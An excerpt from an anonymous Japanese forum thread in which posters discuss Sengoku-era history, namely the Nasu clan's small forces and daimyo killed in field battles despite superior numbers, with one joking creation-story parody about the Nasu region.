0811人間七七四年2011/02/14(月) 20:40:00ID:qyXH6lX6
那須家はいつも寡兵だな。糞田舎で人が集まらないのか。

地の利で最大限カバーしてる感じ。
0812人間七七四年2011/02/14(月) 20:48:34ID:nNVuD4M0
戦場で大将が討ち取られるなんてそんなにないのに
圧倒的兵力差があるときの大将討ち死に率高すぎだろ


上杉朝定
武田元繁
今川義元
陶晴賢
龍造寺隆信

油断大敵とはよくいったものだ
0813人間七七四年2011/02/14(月) 20:49:36ID:TiFls+sU
戦国時代を通して数少ない大名が野戦で討ち取られた事例
そのうち二件が下野で発生しているのはなぜか?
0814人間七七四年2011/02/14(月) 20:51:20ID:GP5eG0oW
神はまず天と地を作った。海と山を作った。
そして日本という国を作った。
那須地方には日本一有名な弓取りと、それなりにうつくしい風景と、
まあまあおいしい水と、日本一過ごしやすい(?)気候を作った。
天使がいった。
「神様、これではあまりに那須家が恵まれすぎています!」
神はこたえた。
「心配するな。獅子身中の虫を作った」
0815人間七七四年2011/02/14(月) 21:02:17ID:kYVX1VUy
>>813
もう一人は佐野宗綱だっけ?
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